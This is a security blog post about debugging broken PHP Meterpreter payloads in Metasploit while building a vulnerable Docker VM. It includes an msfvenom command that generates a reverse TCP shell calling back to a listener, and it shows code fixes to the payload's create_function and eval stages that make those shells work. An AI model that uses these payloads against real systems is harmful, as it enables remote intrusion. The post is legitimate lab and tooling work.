Fun with PHP Meterpreter

While building Vulnerable Docker VM, I encountered some interesting behaviour from PHP meterpreter shell. This blog post documents what was identified as issues and what were the solutions for the same.

Issue

The story begins when as part of the exploitation process I was trying to obtain a reverse shell on a docker instance wordpress:latest. I was attempting to get a reverse shell via exploit wp_admin_shell_upload using the payload php/meterpreter/reverse_tcp. This was suppose to be a straightforward exploit however to our surprise this didn’t worked even after the check confirmed the connection.

Meterpreter failing
Meterpreter failing

I assumed this could be an error in my configuration and / something else. I tried a bunch of other options including changing payloads to php/meterpreter/bind_tcp, php/meterpreter_bind_tcp or php/meterpreter_reverse_tcp and other variations. I found that meterpreter payloads of all types were failing. I even tried generating standalone payload using msfvenom but all of them also failed with similar error messages.

With fair bit of PHP coding experience under my belt I started on my quest to find the issue.

Debugging

Step 1:
Lets try to minimize the complexity, so let’s work with stageless payload and try to find the bug. “Stageless has single file with whole payload making it much more easier to find the bug”.
So I used msfvenom to generate payload via following commands

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.2 LPORT=4545 -f raw > rev_full.php

Step 2:
Now these payloads are minified version of the payload and hence everything is combined in one line.
This basically means if there is an error you will get a wonderful error : error in line number 1, Just the help i needed.

PHP error in Line 1
PHP error in Line 1

Step 3:
The above error message helps in no way at all. Hence the first step is to prettify and align the code so that we can accurately pinpoint the error messages (using http://phpbeautifier.com/beautify.php ). Once its prettified it basically means it’s converted to multi line in a formatted manner. Hence I was hoping the error would be around the actual error line. As expected once I reload the file with proper pretified code we get a proper line number and error message.

PHP correct line number pointing
PHP correct line number pointing

While looking at the source code I can now easily spot the line with error.

Error in PHP Function Call
Error in PHP Function Call

So the error was on

create_function('', $data_tlv['value'])();

modifying the code to below code allowed me to get the shell.

create_function('', $data_tlv['value']);

This is the point where i opened this bug https://github.com/rapid7/metasploit-framework/issues/8858 informing metasploit what could be wrong, and ended my day. But as suspected people do have a life outside computers and not everyone will be working over weekends (I ought to try it out sometimes. i have heard its good for health too ), after i wokeup 10 hours later there was still no change so i got more curious and hence started digging deeper.

This bought me to https://github.com/rapid7/metasploit-payloads/pull/217/files#diff-42f2ccd36fdf98958c852f757d98d05cR421 pull request which was resulted due to https://github.com/rapid7/metasploit-framework/issues/8630 and https://github.com/rapid7/metasploit-framework/pull/8756

This got me more curious about my supposed fix, was that enough or did I broke something.

So I took the VM that was suggested in the issue details and build that docker VM which has suhosin installed and tried the current metasploit module in it directly. To my surprize i was encountering the same error. Hence back to ground zero. I started reading more about create_function in php which lead me to the php.net page and gave me details about this being a deprecated function and not available in php 7.2+ however it is a nice alternative for eval.

PHP_create_function
PHP_create_function

Fix

So I tested some of the basic code and realized the function is indeed working however it has to work in a specific manner. and hence I needed to do a basic change in code and things should just work fine.

create_function('', $data_tlv['value'])();

Was modified to below:

$random_function_name_not_repeated_anywhere=create_function('', $data_tlv['value']);
$random_function_name_not_repeated_anywhere();

Now this was tested and everything seems to be working all fine.

Bonus: Debugging multistage payloads

Now lets try to identify if the same error could be the reason for failure of multistage payload also. However the first stage of the multistage payload doesn’t have this function call. Hence we need to identify what is being send as part of the second stage. To debug and identify the code, I modified the first stage as below:

Original code:

eval($b); die();

Modified code:

echo($b);
eval($b); 
die();

This resulted in a nice display of the entire second stage on the webpage itself. And i can see a reference to create_function with similar issues what we saw on non staged payload. This confirmed my suspicion on why it was not working. So then based on my findings a pull request was created and submitted in metasploit-payloads project. https://github.com/rapid7/metasploit-payloads/pull/227

Even after the above fixes the staged payload was still not working as the staged payload has a eval at the first stage to get the payload executed. Hence another pull request was submitted to ensure the staged payload also work properly.
Pull Request: https://github.com/rapid7/metasploit-framework/pull/8952

## References:

1. https://github.com/rapid7/metasploit-framework/issues/8630
1. https://github.com/rapid7/metasploit-framework/pull/8756
1. https://github.com/rapid7/metasploit-payloads/blob/master/php/meterpreter/meterpreter.php#L431

1 thought on “Fun with PHP Meterpreter”

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top